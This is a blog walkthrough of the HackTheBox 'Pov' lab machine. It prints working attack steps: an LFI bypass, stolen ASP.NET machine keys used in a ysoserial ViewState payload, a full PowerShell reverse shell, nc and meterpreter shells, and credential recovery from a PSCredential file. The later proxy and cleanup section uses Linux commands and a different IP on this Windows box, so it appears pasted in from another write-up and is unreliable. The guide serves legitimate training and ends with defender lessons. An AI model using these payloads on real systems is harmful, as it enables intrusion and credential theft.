Pov
2024-05-09
INTRODUCTION
HTB released Pov during Season IV. I didn’t play that season, so I’m coming to it a few months after. I learned a lot from this box; it really helped me polish my skills for attacking Windows using a Linux box. The pathway to the root flag is very interesting, and requires a wide array of skills. Having just completed my walkthrough for Mailing, this box was refreshingly straightforward: there was no guesswork, and every step led quite logically into the next.
Foothold is all about using knowledge of ASP.NET to attack an insecure subdomain. One of the pages uses a mechanism that relies on insecure deserialization, where the security of this feature is broken by means of an LFI present on that same page. A little bit of web skill goes a long way on this one. The really cool part was learning how to use the popular tool ysoserial.exe
against a Windows target, but using Linux to create the payload. This took a bit of work, but now I’m confident I have the tooling to perform this same feat on future Windows boxes.
Gaining the user flag requires a pivot to a second user. While the credential is seemingly just sitting there, complications with the initial foothold’s reverse shell make it difficult to utilize the credential. This part forced me to learn a bit about windows security and how administrators handle credentials. Defeating this step leads to a quick sprint to root.
The root flag will require a little bit of enumeration. By applying the right privesc scripts, you’ll see the privesc vector right away. However, exploiting it is not so trivial. For me, a main challenge was giving up my pride and resorting to using metasploit. After that, privilege escalation was easy, but teaches a really valuable red-teaming skill 😉
Great box! Thank you, d00msl4yer 👍
RECON
nmap scans
Port scan
For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap
subdirectory. Then set $RADDR
to the target machine’s IP, and scanned it with a simple but broad port scan:
sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT STATE SERVICE
80/tcp open http
Only HTTP? Yuck. That means I’ll probably be working out of a reverse shell for a long time once I reach foothold.
Script scan
To investigate a little further, I ran a script scan over the TCP ports I just found:
TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: pov.htb
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (88%)
Aggressive OS guesses: Microsoft Windows Server 2019 (88%)
Server is running Microsoft IIS 10.0, and we’ve confirmed pov.htb
is a domain. Interestingly the server listens for TRACE requests
If I find myself wanting to obtain information from a request header, this TRACE operation might be useful - it could bypass protection normally afforded by an http-only cookie, for example.
Vuln scan
Now that we know what services might be running, I’ll do a vulnerability scan:
sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR
No results.
UDP scan
To be thorough, I also did a scan over the common UDP ports:
sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
No results.
Webserver Strategy
Noting the redirect from the nmap scan, I added pov.htb
to /etc/hosts and did banner grabbing on that domain:
export DOMAIN=pov.htb
export URL=http://$DOMAIN
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts
☝️ I use
tee
instead of the append operator>>
so that I don’t accidentally blow away my/etc/hosts
file with a typo of>
when I meant to write>>
.
whatweb $URL && curl -IL http://$RADDR
Next I performed vhost and subdomain enumeration:
WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v -fs 0
No results from scanning for vhosts at the root level. Now I’ll check for subdomains of pov.htb
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v -fs 0
Ok, we’ve found a subdomain: dev.pov.htb
with a redirect to /portfolio
. I’ll move on to directory enumeration on http://pov.htb and we’ll check out this subdomain afterwards:
WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt"
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 80 --recursion --recursion-depth 1 -c -o ffuf-directories-root -of json -e .php,.asp,.aspx,.js,.html -timeout 4 -v
Directory enumeration against http://pov.htb/ gave the following:
Alright, the pov.htb
domain is pretty standard. Nothing interesting going on there. Let’s check out that subdomain now:
echo "$RADDR dev.$DOMAIN" | sudo tee -a /etc/hosts
ffuf -w $WLIST:FUZZ -u http://dev.$DOMAIN/FUZZ -t 80 --recursion --recursion-depth 1 -c -o ffuf-directories-dev -of json -e .php,.asp,.aspx,.js,.html -timeout 4 -v -fw 9
Hmm, it’s unclear why these results are different from the other ones… Is it because they contain .
characters, or extensions? Strange.
Exploring the Website
This website claims to provide some kind of security solution for websites. I.e. the clients of this company are admins of other websites (and mail servers).
The index / landing page is generally uninteresting. The only important information I found was down at the bottom of the page, the text that appeared alongside the “contact us” form:
The description gives away a subdomain dev.pov.htb
, but we already knew about that from the subdomain scan. Also, there is a hint at a username, sfitz.
They used the actual area code for Corpus Christi. Nice easter egg there. The address is fake though.
The dev.pov.htb
subdomain shows a lot more information. Right away, I see a couple clues. First, the About section shows ASP.NET
conspicuously bolded. We are definitely going to be using some ASP stuff on this target!
A little further down, we see in the Testimonials carousel a hint that… maybe Stephen isn’t as good with ASP.NET as he thinks he is 😅
The button to download Stephen’s CV seemed a little suspicious. Why have it set up like this?
To take a closer look, I hopped into ZAP and turned on the HUD. It pointed out right away that there are a bunch of hidden fields and comments, exposing the action of this download button:
Let’s try clicking that Download CV button and proxy it through ZAP:
From the response we can see that the ASP.NET version is 4.0.30319. Also, we can see very clearly in the request that the file
parameter is obtained from the frontend. Here’s the frontend code behind how that works:
<script type="text/javascript">
//<![CDATA[
var theForm = document.forms['form1'];
if (!theForm) {
theForm = document.form1;
}
function __doPostBack(eventTarget, eventArgument) {
if (!theForm.onsubmit || (theForm.onsubmit() != false)) {
theForm.__EVENTTARGET.value = eventTarget;
theForm.__EVENTARGUMENT.value = eventArgument;
theForm.submit();
}
}
//]]>
</script>
I.e. the file
is a form input but the EVENTTARGET
and EVENTARGUMENT
also get included in the form, but only when it’s submitted.
I wonder if we can play around with this to obtain files via an LFI? First, I’ll try getting a file that we know should be there - default.aspx
:
That worked perfectly. See the reference to CodeFile
at the top? Clearly, this default.aspx
uses that C# file, so let’s try obtaining index.aspx.cs
using the same trick:
using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO;
using System.Net;
public partial class index : System.Web.UI.Page {
protected void Page_Load(object sender, EventArgs e) {
}
protected void Download(object sender, EventArgs e) {
var filePath = file.Value;
filePath = Regex.Replace(filePath, "../", "");
Response.ContentType = "application/octet-stream";
Response.AppendHeader("Content-Disposition","attachment; filename=" + filePath);
Response.TransmitFile(filePath);
Response.End();
}
}
Alright! We obtained the file, and now we know exactly how it’s “protecting” against LFI for the download.aspx
endpoint.
We can very easily bypass this "../"
to ""
replacement by doubling up on the traversal (ex. ....//
). But also, it should be totally possible to just use an absolute filepath instead. Let’s try the hosts
file:
💡 Note that at least one of the
EVENTTARGET
,EVENTARGUMENT
,VIEWSTATE
,VIEWSTATEGENERATOR
, orEVENTVALIDATION
fields are acting as an anti-CSRF token.As a result, we can’t easily just blast the
download
endpoint with regular fuzzing techniques (like ffuf or ZAP fuzz). If we need to automate this, I could use any of the following:
- Selenium
- Python requests
- piping cURL into cURL
The point is that, fundamentally, every POST request will need to be preceded by a unique GET request.
Yep, that’s the hosts
file. So we can access the filesystem using this LFI. Also, we have confirmation that dev.pov.htb
is probably the only subdomain.
🤔 I wonder if we can also load an external file? In other words, is this also an RFI? I’ll start up an http server and try it out. For this, I’ll use one of my own tools: simple-http-server.
Feel free to just to PHP or
http.server
instead, but my tool has advantages for data exfiltration and easily examining headers.
sudo ufw allow from $RADDR to any port 8000 proto tcp
simple-server 8000 -v
Next, using the UI I’ll request http://10.10.14.22:8000/index.html
:
Huh? The path was interpretted very oddly. The response header shows the requested path:
Content-Disposition: attachment; filename=htt/10.10.14.22:80index.html
😂 OH! I get it. I totally misinterpreted that regex that we saw in index.aspx.cs
, and frankly I think Stephen did as well.
The ../
was being interpreted not literally, but actually in the regex-style special-character way, as [any char][any char]/
. In this way, every two characters before any slash, plus the slash itself, will be removed from the requested path!
The bolded characters were removed because they match the regex: http://10.10.14.22:80**00/**index.html
In other words, we can bypass this reading our string and replacing every /
with XX//
, like this: http:XX//XX//10.10.14.22:8000XX//index.html
Loading the external resource did not work, but learning how to bypass the regex might be useful nonetheless! It’s still unclear how I’ll eventually get RCE on the target though - there’s no SSH, no WinRM… nothing but this webserver. I’ll need to do some research and figure out how I might be able to use the LFI to gain RCE.
FOOTHOLD
Viewstate
I did some reading about ASP.NET webservers, and specifically about how to gain RCE on them. Remember those parameters being send in the POST to download.aspx, EVENTTARGET
, EVENTARGUMENT
, VIEWSTATE
, VIEWSTATEGENERATOR
, or EVENTVALIDATION
? Well, it turns out one of those might be able to get us RCE: VIEWSTATE
.
According to this Hacktricks page, it’s possible to exploit some insecure deserialization in the VIEWSTATE
variable. Apparently, the VIEWSTATE
variable holds all of the internal state of a page, and is used when interacting with the ASP engine to carry out all user interaction with the server; the server renders according to the viewstate, etc. Long story short, it’s a big base64 object that might be controllable, and ultimately is deserialized insecurely.
This is a known issue, so the server-side solution is to sign/verify the VIEWSTATE
. The server uses a signing key on the state, upon every interaction the state is verified with a verification key. The keys for this mechanism are stored in a file called web.config
. But obviously, that file is not publicly accessible… 😏
That’s where the LFI comes into play! Let’s grab that web.config
file and hope there are keys inside:
I first tried in the current directory, but there was no such file so I checked the parent directory instead.
👍 Got it. Here are the contents:
<configuration>
<system.web>
<customErrors mode="On" defaultRedirect="default.aspx" />
<httpRuntime targetFramework="4.5" />
<machineKey decryption="AES" decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" validation="SHA1" validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" />
</system.web>
<system.webServer>
<httpErrors>
<remove statusCode="403" subStatusCode="-1" />
<error statusCode="403" prefixLanguageFilePath="" path="http://dev.pov.htb:8080/portfolio" responseMode="Redirect" />
</httpErrors>
<httpRedirect enabled="true" destination="http://dev.pov.htb/portfolio" exactDestination="false" childOnly="true" />
</system.webServer>
</configuration>
Perfect! The two keys we needed, decryptionKey
and validationKey
, are both present. We also now know that it uses AES encryption and SHA1 validation.
Crafting the payload
⚠️ This is not quite the way to do it, skip ahead to the bash script below to see how I eventually got it working!
DECRYPT_KEY=74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43
VALIDTN_KEY=5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468
PAYLOAD_CMD="powershell.exe Invoke-WebRequest -Uri http://10.10.14.22:8000/?msg=success"
GENERATOR=8E0F0FA3
DECRYPT_KEY
and VALIDTN_KEY
are from the web.config
file that we obtained through the LFI. The PAYLOAD_CMD
is just a base-64 encoded powershell reverse shell, from revshells.com. The GENERATOR
is the value of the __VIEWSTATE_GENERATOR
, that seems static and does not change between page loads (obtained according to the instructions on HackTricks).
As per the instructions, I’ll use ysoserial.exe
to generate the payload:
wine ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "$PAYLOAD_CMD" --path="/portfolio/default.aspx" --generator "$GENERATOR" --decryptionalg="AES" --decryptionkey="$DECRYPT_KEY" --validationalg="SHA1" --validationkey="$VALIDTN_KEY" 2>/dev/null | tee ~/Box_Notes/Pov/exploit/ysoserial_payload.b64
ASIDE: YSOSERIAL.EXE ON LINUX
You may be wondering “hey, you’re running kali. How is Ysoserial.exe actually working??”. As you probably already know,
wine
is a way to run windows programs on linux. That part is easy. The really trick was actually gettingdotnet
installed, which is essential to Ysoserial’s functionality.For this, I followed this short guide by
Hyperion
, but I’ll summarize the steps here (in case it’s taken off Medium):sudo apt update sudo apt install mono-complete wine winetricks -y # Make a directory for ysoserial somewhere # Download the latest release of Ysoserial.net (I'm using v1.36) into that directory unzip ysoserial*.zip winetricks dotnet48 # Wait a long time. Lots of errors encountered. # Test your installation cd Release wine ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 -c "ping 127.0.0.1"
Even when I ran the test
ping
payload, myysoserial.exe
spewed out a bunch of errors. Be sure to redirectstderr
so that the error text doesn’t get in the way of your payload.
I’ll also need a way to verify whether or not it’s working. For this, I’ll use an http server again:
sudo ufw allow from $RADDR to any port 139,445,4444,8000 proto tcp
simple-server 8000 -v
😂 You can tell from all those ports that I’m pretty hopeful this is going to work
From there, I swapped out the VIEWSTATE
variable in the POST request from clicking the Download CV button:
I submitted that request… but didn’t see any request come in to my http server 😞
First successful payload
After many, many iterations of making tiny adjustments to the way I was both generating and submitting the payload, I finally got it working! 🎉
This is what I had been doing wrong:
- The
--generator
option doesn’t seem to work. You’d think you need to include an--apppath
instead (like Hacktricks says) but actually you can just completely omit it. - Swapping out the
VIEWSTATE
by manipulating the DOM doesn’t actually work. Instead, proxy the request into ZAP and swap out theVIEWSTATE
, then forward the request. I’m not sure why that’s the case. - Be sure to output stderr to
/dev/null
when runningysoserial.exe
. If you don’t do that, the errors that it spews out are appended directly to the end of the payload, with no space or line break - and the first few characters look like they’d be part of the base64 data. Best to suppressstderr
entirely.
These changes culminated in the following script, ysoserial_make_payload.sh
:
#!/bin/bash
if [ $# -lt 1 ]; then
echo "Usage: $(basename "$0") <cmd>"
echo "Error: No command for the payload was provided."
exit 1
fi
DECRYPT_KEY=74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43
VALIDTN_KEY=5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468
PAYLOAD_CMD=$1
wine /your/path/to/ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "$PAYLOAD_CMD" --path="/portfolio/default.aspx" --decryptionalg="AES" --decryptionkey="$DECRYPT_KEY" --validationalg="SHA1" --validationkey="$VALIDTN_KEY" 2>/dev/null | tee ~/Box_Notes/Pov/exploit/ysoserial_payload.b64
I ran my ysoserial_make_payload.sh
to generate a GET request to my http server, to see if it was working:
./ysoserial_make_payload.sh "powershell.exe Invoke-WebRequest -Uri http://10.10.14.22:8000/?msg=success"
…then proxied the Download CV request through ZAP’s HUD:
👏 After forwarding the request, I saw the target contact my http server:
Fantastic! Now let’s adjust this process to open a reverse shell instead. I think the cleanest way is to use powershell to run a remote .ps1
script. I’ll use the “Powershell #1” script from revshells.com, saved to reverseshell.ps1
:
$LHOST = "10.10.14.22"; $LPORT = 4444; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()
Now I’ll just modify the GET request that I used before, to instead load the above script:
./ysoserial_make_payload.sh "powershell.exe IEX (Invoke-WebRequest -Uri http://10.10.14.22:8000/reverseshell.ps1 -UseBasicParsing)"
Once again I proxied the Download CV request through ZAP, and oila I have a reverse shell!
USER FLAG
Upgrading the shell
This shell is absolutely terrible. I need to fix this or the rest of the box will be excrutiating.
Since I opened the SMB ports, I think the easiest way to upgrade is opening a new reverse shell, sending powershell through it:
sudo ufw allow from $RADDR to any port 4445 proto tcp
cp ~/Tools/nc.exe .
sudo impacket-smbserver -smb2support -username 'kali' -password 'testtesttest' share .
# Then in another tab:
rlwrap nc -lvnp 4445
Then, on the target I’ll map the drive and copy over socat:
net use x: \\10.10.14.22\share /user:kali testtesttest
cd C:\Users\sfitz\Downloads
copy X:\nc.exe
.\nc.exe 10.10.14.22 4445 -e powershell.exe
Then we have a nice Powershell-based reverse shell with command history 👍
Local enumeration: sfitz
Now that I have a much nicer shell to use, I may as well start local enumeration. It might not work, but I’ll try using WinPEAS:
copy X:\winPEASany.exe
.\winPEASany.exe
As usual, WinPEAS produces a huge amount of very useful info. First, it’s good to get a sense of who else is on the box:
Oh interesting, alaading is in the Remote Management Users
group, even though WinRM, RDP etc are not listening externally.
It looks like OpenSSH is installed, maybe we can connect that way?
OpenSSH Authentication Agent(OpenSSH Authentication Agent)[C:\Windows\System32\OpenSSH\ssh-agent.exe]
The NTLMv2 hash is available:
sfitz::POV:1122334455667788:4da7ad8a8aecbd9a92d454167a92595a:0101000000000000b15340cb5ca2da01b11031e11a7121c300000000080030003000000000000000000000000020000087d80dc37468cb66e4ab5c53a826828a46878794b3c9de2bc841459642be4e2e0a00100000000000000000000000000000000000090000000000000000000000
Excellent. I’ll come back and take another look at the WinPEAS result once I poke around the filesystem for a bit.
Thankfully, I didn’t have to look very far: there is a very juicy-looking file in C:\Users'sfitz\Documents
:
There’s a credential for alaading
sitting there in plaintext!
1000000d08c9ddf0115d1118c7a00c04fc297eb01000000cdfb54340c2929419cc739fe1a35bc88000000000200000000001066000000010000200000003b44db1dda743e1442e77627255768e65ae76e179107379a964fa8ff156cee21000000000e8000000002000020000000c0bd8a88cfd817ef9b7382f050190dae03b7c81add6b398b2d32fa5e5ade3eaa30000000a3d1e27f0b3c29dae1348e8adf92cb104ed1d95e39600486af909cf55e2ac0c239d4f671f79d80e425122845d4ae33b240000000b15cd305782edae7a3a75c7e8e3c7d43bc23eaae88fde733a28e1b9437d3766af01fdf6f2cf99d2a23e389326c786317447330113c5cfa25bc86fb0c6e1edda6
Credential for alaading
After trying to use that password in a few different ways, I decided to look up what this System.Management.Automation.PSCredential
thing is.
As it turns out, the text above is not a password at all. Actually, it’s more like a password hash (but reversible??). It’s a format called a Powershell Secure String. It’s a way for administrators to store passwords in files, but not have the plaintext password readable. It’s fully reversible:
This process is from this article. Read it for more detail.
$username = "alaading"
$securestring = ConvertTo-SecureString -String "myplainTextP455word" -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential($username, $securestring)
$credential.GetNetworkCredential() | fl
However, I couldn’t get the above process to work, because my reverse shell seems to die whenever I pass it too long of a string. Perhaps I’ll need to parse the XML directly…
After quite a bit of wrestling with ChatGPT, I finally scrapped together a small powershell script to convert this Secure String to a plaintext password, extract_password_from_xml.ps1
# Load the XML file
$credentialXml = [xml](Get-Content -Path "C:\Users\sfitz\Documents\connection.xml")
# Load the PSCredential object from the XML
$credential = [System.Management.Automation.PSCredential]::new($credentialXml.Objs.Obj.Props.S.'#text', (ConvertTo-SecureString $credentialXml.Objs.Obj.Props.SS.'#text'))
# Print the credential
$credential.GetNetworkCredential() | fl
Now we can run it as a remote script, using IEX
:
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.22:8000/extract_password_from_xml.ps1')
And we recover the password 🎉
We have a known powershell credential now, alaading : f8gQ8fynP44ek1m3
😅 Life is easy when there’s no AV, eh?
Let’s see where this credential can be used:
psexec
did not work:impacket-psexec -target-ip alaading:f8gQ8fynP44ek1m3@$RADDR powershell.exe
crackmapexec
didn’t work in eithersmb
orwinrm
mode:crackmapexec smb -u 'alaading' -p 'f8gQ8fynP44ek1m3' -x "cmd /c whoami" $RADDR crackmapexec winrm -u 'alaading' -p 'f8gQ8fynP44ek1m3' -x "cmd /c whoami" $RADDR
🤔 Hmm… Actually, there is a good way to do this on windows. It’s kinda like the equivalent of su
from Linux: RunAs
. I already have a more reliable version of that sittting around, RunasCs.exe
, so let’s give that a go instead. I’m not really sure of the syntax…
X:\RunasCs.exe --help
That example looks perfect. Let’s open another reverse shell, this time as alaading
:
sudo ufw allow from $RADDR to any port 4446 proto tcp
rlwrap nc -lvnp 4446
X:\RunasCs.exe alaading f8gQ8fynP44ek1m3 ".\nc.exe 10.10.14.22 4446 -e powershell.exe" -t 0
Huh? Access is denied? 😕
🤦♂️ Ohh.. duh. I’m trying to run nc.exe
from C:\Users\Downloads\sfitz
, and alaading
doesn’t have access to that folder! Let’s copy it to Public
and try again.
cd C:\Users\Public\Downloads
copy X:\nc.exe
X:\RunasCs.exe alaading f8gQ8fynP44ek1m3 ".\nc.exe 10.10.14.22 4446 -e powershell.exe" -t 0
😁 It worked! We managed to open yet another reverse shell:
And there’s the user flag. Fantastic! Just type
it out for some points.
type user.txt
ROOT FLAG
Local enumeration: alaading
I ran WinPEAS, and the results were almost overwhelming. To try to get a more thinned-down precise set of privesc vectors, I tried SharpUp. The source code is available on GhostPack’s repo, but I’m using the precompiled binary from here.
☝️ An alternative would have been to compile the original GhostPack source. This could be done with
xbuild
, now that I havemono
installed.
I’ll run the binary directly off my SMB share:
X:\SharpUp.exe audit
Well, I wanted thinned-down resuls… And I sure got them 😂
Probably a good idea to look into the literally one thing that was reported by the privesc script, right?
According to this section of the Abusing Tokens page on Hacktricks, I might be able to use just SeDebugPrivilege
to privesc:
This privilege permits the debug other processes, including to read and write in the memore. Various strategies for memory injection, capable of evading most antivirus and host intrusion prevention solutions, can be employed with this privilege.
That sounds perfect. I’ll try out the psgetsys.ps1
script referenced in that section. Again, I’ll run directly from the SMB share:
It doesn’t like that the script isn’t digitally-signed. We can get past this by setting the execution policy:
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser
Trying it again, it seems like it runs fine. The script should actually be used like this:
# Get the PID of a process running as NT SYSTEM
import-module psgetsys.ps1; [MyProcess]::CreateProcessFromParent(<system_pid>,<command_to_execute>)
i.e. before we can use this, we need to find a PID of a process running as NT SYSTEM.
tasklist /v | findstr "NT AUTHORITY"
Hmm… The only result is the System Idle Process
at PID 0. I doubt that will work. I guess I could try it though:
import-module X:\psgetsys.ps1; [MyProcess]::CreateProcessFromParent(0,"whoami")
That’s odd. It should at least be able to run the code, even if the PID was invalid. I’ll check the script:
Aha, ok. The instructions on Hacktricks seem incorrect. I’ll try using it as shown above:
Just in case I can get this to work, I’ll start up a reverse shell listener on port 4447:
sudo ufw allow from $RADDR to any port 4447 proto tcp rlwrap nc -lvnp 4447
ipmo .\psgetsys.ps1; ImpersonateFromParentPid -ppid 664 -command "C:\Users\Public\Downloads\nc.exe 10.10.14.22 4447 -e cmd.exe"
That’s not quite it…
ipmo .\psgetsys.ps1; ImpersonateFromParentPid -ppid 664 -command "C:\Users\Public\Downloads\nc.exe" -cmdargs "10.10.14.22 4447 -e cmd.exe"
There we go, it seems to require the args. I still can’t manage to get this to do anything, though…. hmm.
After dozens of iterations of trying to use psgetsys.ps1
, I resorted to checking the HTB forums. Someone else was kind enough to mention that they had a similar problem, and how they got themselves out of it:
Root: It should be immediately obvious what you can do but I still spent a lot of time trying various payloads and techniques and I could not for the life of me to get any to work, I ended up using meterpreter and migrating feels like cheating. 😦
That’s a solid hint. I’ll start up a meterpreter shell instead.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.22 LPORT=4447 -a x64 -f exe -o reverse_shell.exe
msfconsole
> use exploit/multi/handler
> set payload windows/x64/meterpreter/reverse_tcp
> set LHOST tun0
> set LPORT 4447
> run
Now from the target, let’s open the reverse shell using reverse_shell.exe
:
X:\reverse_shell.exe
Moments later, we get the meterpreter shell we wanted:
☝️ Note: to switch back to meterpreter after entering
shell
, just typeexit
In my original (alaading
) reverse shell, I identified a PID that I had used with psgetsys.ps1
- the PID of lsass.exe
, which was 664 for me. Let’s use the meterpreter session to “migrate” to this PID:
meterpreter> migrate 664
Wow, that person from the forums was right. That was so easy that it felt like cheating 😅
And there’s the root flag! Just type
it out to get those root flag points 🍒
type C:\Users\Administrator\Desktop\root.txt
Chisel SOCKS Proxy
During user enumeration I found a locally-exposed port 5432 (probably PostgreSQL). To access it, I’ll set up a SOCKS proxy using chisel. I’ll begin by opening a firewall port and starting the chisel
server:
☝️ Note: I already have proxychains installed, and my
/etc/proxychains.conf
file ends with:... socks5 127.0.0.1 1080 #socks4 127.0.0.1 9050
sudo ufw allow from $RADDR to any port 9999 proto tcp
./chisel server --port 9999 --reverse --key s4ucys3cret
Then, on the target machine, start up the chisel client and background it:
./chisel client 10.10.14.2:9999 R:1080:socks &
To test that it worked, I tried a round-trip test (attacker -> target -> attacker) to access loading the index page from my local python webserver hosting my toolbox:
proxychains whatweb http://10.10.14.2:8000
Success 👍
Finally, this worked, and I was able to cat
out the flag for those glorious root flag points 💰
cat /root/root.txt
CLEANUP
Target
I’ll get rid of the spot where I place my tools, /tmp/.Tools
:
rm -rf /tmp/.Tools
Attacker
There’s also a little cleanup to do on my local / attacker machine. It’s a good idea to get rid of any “loot” and source code I collected that didn’t end up being useful, just to save disk space. Also I have a few tools to get rid of:
cd exploit
rm winPEASany.exe SharpUp.exe RunasCs.exe reverse_shell.exe nc.exe psgetsys.ps1 socatx*
It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw
rules:
NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;
EXTRA CREDIT
Checking out the Webserver
I was curious to see the structure of the webserver, now that I have nt authority/system
. As expected, I found it inside C:\inetpub\wwwroot\
:
The important stuff is inside the dev
directory:
Here’s portfolio
, what we mostly interacted with:
There was a contact.aspx
? I didn’t even realize that. Huh, interesting. Let’s check out its source code in contact.aspx.cs
:
using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO;
public partial class contact : System.Web.UI.Page {
protected void Page_Load(object sender, EventArgs e) {
}
protected void Submit(object sender, EventArgs e) {
}
}
Ah, OK. It doesn’t actually do anything 😌
LESSONS LEARNED
Attacker
✈️ ZAP’s “HUD” tool is incredible! This is the first box I’ve actually utilized it on… and wow - I was completely blown away. It took me a matter of seconds to realize the inner workings of the
/portfolio
page and locate the LFI opportunity. I would highly recommend using this tool for any web target, at least for a few minutes. It also really cuts down on the amount of “clicks” you need to do when playing around with proxied requests.📜 Use as many privesc scripts as you want. They each have their strengths and weaknesses. On this box, I used
winPEAS
to gain a very broad view of the whole privesc surface; it was helpful, but a lot of information. Then right afterwards I usedSharpUp.exe
to find exactly the privesc vector I needed, with zero noise. On a CTF, it’s good to know how to enumerate manually, but using scripts is a huge advantage for speed and breadth.🦁 After foothold, run your tools out of SMB if you can. It’s super convenient! This saves a lot of tedious moving-around of files.
😊 Don’t feel bad about using metasploit. Anyone who’s tried to train for OSCP has a bias against using metasploit. I’m starting to believe that’s actually just Rapid7 trying to market their tool and build hype. In reality, a smart attacker will obviously use whatever tools they have available. So why not be a smart attacker?
🔀 If you’re utilizing SeDebugPrivilege, you’ll also need to migrate the process. There are a few ways to migrate, but by far the easiest is to just user meterpreter.
Defender
🤦♀️ Use well-tested regexes. This box opened itself up to an LFI in at least two ways. However, using a proper regex on the filepath could have actually prevented both of them, and stopped the LFI in its tracks. Use a well-documented regex library like on https://www.regexlib.com/. It’ll save you time as a developer, and provide better security.
🤕 Mitigations are not solutions. I know, that sounds too broad, right? An illustrative example is the usage of ASP.NET’s
VIEWSTATE
on this box. There are mitigations for compromise that were already in place: encryption and verification of theVIEWSTATE
. Those mitigations by themselves are effective, but they do not address the underlying vulnerability: insecure deserialization (of an object controlled by an untrusted entity!). All it took was chaining this vulnerability to another, much simpler one - the LFI. The lesson here is that you can’t just patch up one hole and assume that fixed your total security.⛔ Nobody should have the SeDebugPrivilege. At most, this priv should be granted only temporarily, and within one session only.
🙅 Secure String is a highly misleading term. At best, it’s a tool for preventing reading of a stored credential remotely. However, if the intruder is already inside the system, using a “secure string” is about as “secure” as storing a plaintext credential. If you ask me, this is strictly a convenience feature for administrators, and provides no security benefit.
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake